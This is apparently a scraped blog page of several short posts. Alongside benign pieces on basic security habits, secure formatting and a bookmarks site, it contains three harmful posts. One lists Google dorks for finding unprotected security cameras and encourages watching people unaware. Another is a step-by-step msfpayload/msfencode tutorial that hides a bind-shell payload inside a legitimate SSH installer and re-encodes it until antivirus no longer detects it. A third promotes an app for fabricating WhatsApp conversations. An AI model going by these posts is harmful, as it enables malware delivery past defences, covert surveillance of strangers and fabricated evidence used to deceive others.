7 Computer Security Protocols that should be Mandatory

Computer security entails protecting of the computer and the computer software from data loss, destruction and authorized access. There are several computer protocols put in place to ensure that chances of above mentioned are reduced or totally eliminated, they include practices carried out or installation of certain software or programs on the computer to enable and improve security.

Among the 7 computer security protocols that should be mandatory are

1. Using certified genuine Operating Systems - to ensure that your computer is secure from data loss, possible damage and software malfunctions ensure that you purchase and use the genuine operating systems. Always desist from installing any software that cannot be trusted.

2. Protecting home and private computers – always ensure that your Personal computers are adequately protected to eliminate possible risk. Always lock your screens wherever you leave your computer be it at home or in the office. You should also ensure that you make use of available anti – virus for your computer and also computer software should be updated always in good time.

3. Encrypting sensitive locally stored files - Windows Operating System usually comes with file encryption features, which are usually in-built. There are other encryption programs that can assist in encryption work such as the TrueCrypt utility among others. These programs easily integrate well with windows explorer.

4. Encrypting of personal information that is stored in cloud – though vendors of cloud storage vendors will normally assure that the data you have stored in cloud is utterly safe, it’s strongly advised that you encrypt it to avoid it getting to the wrong hands.

5. Preventing Keystroke loggers and other data snoops - ensure that your firewall and antivirus are in good working order to eliminate vulnerability of your systems from computer criminals, they attack when there is weakness and easy access. There are so many antivirus software’s available online. User must choose best-rated antivirus software for his PC.

6. Manual virus scanning - sometimes viruses sneak through even when there are automatic updates and regular malware scans, so it’s advisable to occasionally perform the scan manually.

7. Destroying old data – old and unused data should be properly destroyed preferably using utilities that are erase secure. This prevents data which sometimes is sensitive from falling into wrong hands.

The above 7 computer security protocols should be mandatory to ensure that the data and software in your computer is totally safe.

Ensure that all data is secured with strong encryptions, use genuine trusted software and programs and constantly update and scan your computer to improve on security. Keep your computer safe.

Read more

Use These Google Dorks to Access Security Cameras in the Open!

What the!? This guy does not know he is being watched!

Are you aware that there is no such thing on the internet as, “Hiding in plain sight”? Some network administrators just aren’t thinking when they install the security system… I mean really, I thought it was about security!? The following is a list of Google Dorks you can use to lookup IP Security Cams whose access nobody bothered to put security on. Yeah, they are convenient to watch the shop from home… but not just for the boss, also for the entire rest of the world! Ha ha ha!

Security Cam Google Dorks:

• inurl:”CgiStart?page=”
• inurl:/view.shtml
• intitle:”Live View/ — AXIS”
• inurl:iview/view.shtml
• inurl:ViewerFrame?M0de=
• inurl:ViewerFrame?M0de=Refresh
• inurliaxis-cgi/jpg
• inurliaxis-cgi/mjpg (motion-JPEG) (disconnected)
• inurl:view/indexFrame.shtml
• inurliview/index.shtml
• inurliview/view.shtml
• liveapplet
• intitle:”live view” intitle:axis
• intitleiliveapplet
• allintitle:”Network Camera NetworkCamera” (disconnected)
• intitleiaxis intitle:”video server”
• intitleiliveapplet inurl:LvAppl
• intitle:”EvoCam” inurl:”webcam.html”
• intitle:”Live NetSnap Cam-Server feed”
• intitle:”Live View/ — AX|S”
• intitle:”Live View/ — AXIS 206M”
• inti’r|e”‘l ive View / — AXIS 706W”
• intitle:”Live View/ — AXIS 210?
• inurl:indexFrame.shtml Axis
• inurl1″MultiCameraFrame?Mode=Motion” (disconnected)
• intitleistart inurl:cgistart
• intitle:”WJ-NTI 04 Main Page”
• intitleisnc-220 inurl:home/
• intitleisnc-cs3 inurl:home/
• intitleisnc-r230 inurl:home/
• intitle:”sony network camera snc-pl ?
• intitle:”sony network camera snc-ml ?
• site:.viewnetcam.com -www.viewnetcam.com
• intitle:”Toshiba Network Camera” user Iogin
• intitle:”netcam live image” (disconnected)
• intitle:”i-Catcher Console — Web Monitor”

So there you have it, you creep! Now you can go creeping around and looking at people who don’t know you are looking at them… Weirdo!

Read more

Bypass Antivirus Detection - Making An Executable FUD

In this tutorial we will show you step by step on how to make a virus Fully Undetectable from all the antiviruses. Their are lots of approaches, however here we will take a look at how to make an executable FUD using msfencode.

Requirements :   Metasploit (comes on BackTrack or Kali)

Attention

We are using some harmless test files but don’t infect people with any real viruses. That would be a crime.

Purpose

Antivirus protects machines from malware but not all of it .there are ways to pack malware to make it harder to detect. well use metasploit to render malware completely invisible to antivirus.

Creating a Listener

This is a simple payload that gives the attacker remote control of a machine. It is not a virus ant won’t spread, but it is detected by antivirus engines. In Backtrack in a Terminal windows execute these commands:

cd

msfpayload windows/shell_bind_tcp LPORT=2482 X > /root/listen.exe

ls -l listen.exe

You should see the listen.exe file as shown below:

Analyzing the Listener with VirusTotal

Go to https://www.virustotal.com/en/

Click the “Choose File” button. Navigate to /root and double-click the listen.exe “listen.exe” appears in the “Choose File” box, as shown below:

In the virustotal web page , Click the “scan it” button!

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that many of the antivirus engines detected the file: 33 out of 42, when I did it, as shown below. You may see different numbers, but many of the engines should detect it.

Encoding the Listener

this process will encode the listener, & insert it into an innocent SSH file.

In BackTrack/Kali, in a Terminal window, execute these commands:

wget ftp://ftp.ccsf.edu/pub/SSH/sshSecureShellClient-3.2.9.exe

msfencode -i /root/listen.exe -t exe -x /root/sshSecureShellClient-3.2.9.exe -k -o /root/evil_ssh.exe -e x86/shikata_ga_nai -c 1ls -l evil*

You should see the evil-ssh.exe file as shown below :

Scan with virusTOTAL

If you see a “File already analyzed” message, click the “View last analysis” button.

The analysis shows that fewer of the antivirus engines detect the file now: 21 out of 42, when I did it, as shown below. You may see different numbers.

Encode the Listener Again This process will encode the listener with several different encodings.

In BackTrack/Kali, in a Terminal window, execute these commands:

msfencode -i /root/listen.exe -t raw -o /root/listen2.exe -e x86/shikata_ga_nai -c 1

msfencode -i /root/listen2.exe -t raw -o /root/listen3.exe -e x86/jmp_call_additive -c 1

msfencode -i /root/listen3.exe -t raw -o /root/listen4.exe -e x86/call4_dword_xor -c 1

msfencode -i /root/listen4.exe -o /root/listen5.exe -e x86/shikata_ga_nai -c 1ls -l listen*

 You should see several files as shown below:

Analyzing Again

The analysis shows that fewer of the antivirus engines detect the file now 0 out of 42 When I did it as shown below. you may see different numbers.

Read more

Create Fake WhatsApp Conversation [Whatsaid.apk]

Steps:

Step 1: First Download WhatSaid APK file.

Step 2: Now transfer WhatSaid APK File to your android phone and install WhatSaid App normally.

Step 3: After installing the WhatSaid App you will notice WhatSaid App is similar to  WhatsApp one.

Step 4: Now its time to create fake conversation by writing friend name and by uploading friend picture and by writing fake conversation.

Step 5: You can also share this fake WhatsApp conversation in Facebook and Messages.

Have Fun Enjoy.For any query feel free to comment below.

Read more

Avoid “Quick Formatting” Flash Drives to Prevent File Recovery

 It’s actually quite easy to recover deleted files using a free file recovery program such as Recuva But did you know that files can even be recovered from flash drives that have been formatted? Well, it’s true, and it’s just as easy as recovering files that have been “deleted”. 

If you format your drives using the “Quick Format” option, the files on the drive won’t actually be over-written as the drive is formatted. Instead, only the “pointers” to the files are wiped out, leaving the files themselves intact and easily recoverable.

This is usually not a problem, but if some of the files on a formatted drive are sensitive in nature, anyone at all could use a file recovery program to retrieve them.

Luckily, there’s a very simple solution if you really want to overwrite everything on a drive to prevent your files from being recovered. Simply uncheck the “Quick Format” option in the Format dialog box before you click the “Start” button. Refer to the screenshot below:

Format your flash drives without the “Quick Format” option and you’ll be able to rest assured that your files cannot be recovered by someone else.

Read more

Save Bookmarks Online And Access Them From Any Device, Anywhere

Listango : Listango is a best tool or website which help us to save bookmarks online and access them from anydevice, anywhere.Also if you want to create such type of bookmarks list which is not public means only you can see or access that list then this website if for you specialy. Because Listango helps you to create private bookmarks list.

Feature’s Of Listango:

1. Access Your Bookmarks From Anywhere: You can access your bookmarks from any computer, phone or tablet. Listango works on all modern web browsers.

2. Make Public Or Private Bookmarks List: If You don’t want to share your bookmarks with the whole world. Create private lists that only you can view.

3.Share Bookmarks With Friends Using Social Sites: You can easily share your bookmarks with friends. You can share your bookmarks using Facebook, Twitter, or email.

How To Use Listango To Save Bookmarks Online:

Step 1: Visit the Listango and signup using Facebook or via Email.

Step 2: Now drag the listango button on the Bookmarks Bar.As shown below in screenshot.

Step 3: OK if you want to save any Bookmarks.Just visit the website and drag them into Listango Bookmarks bar.

Video Tutorial:

Read more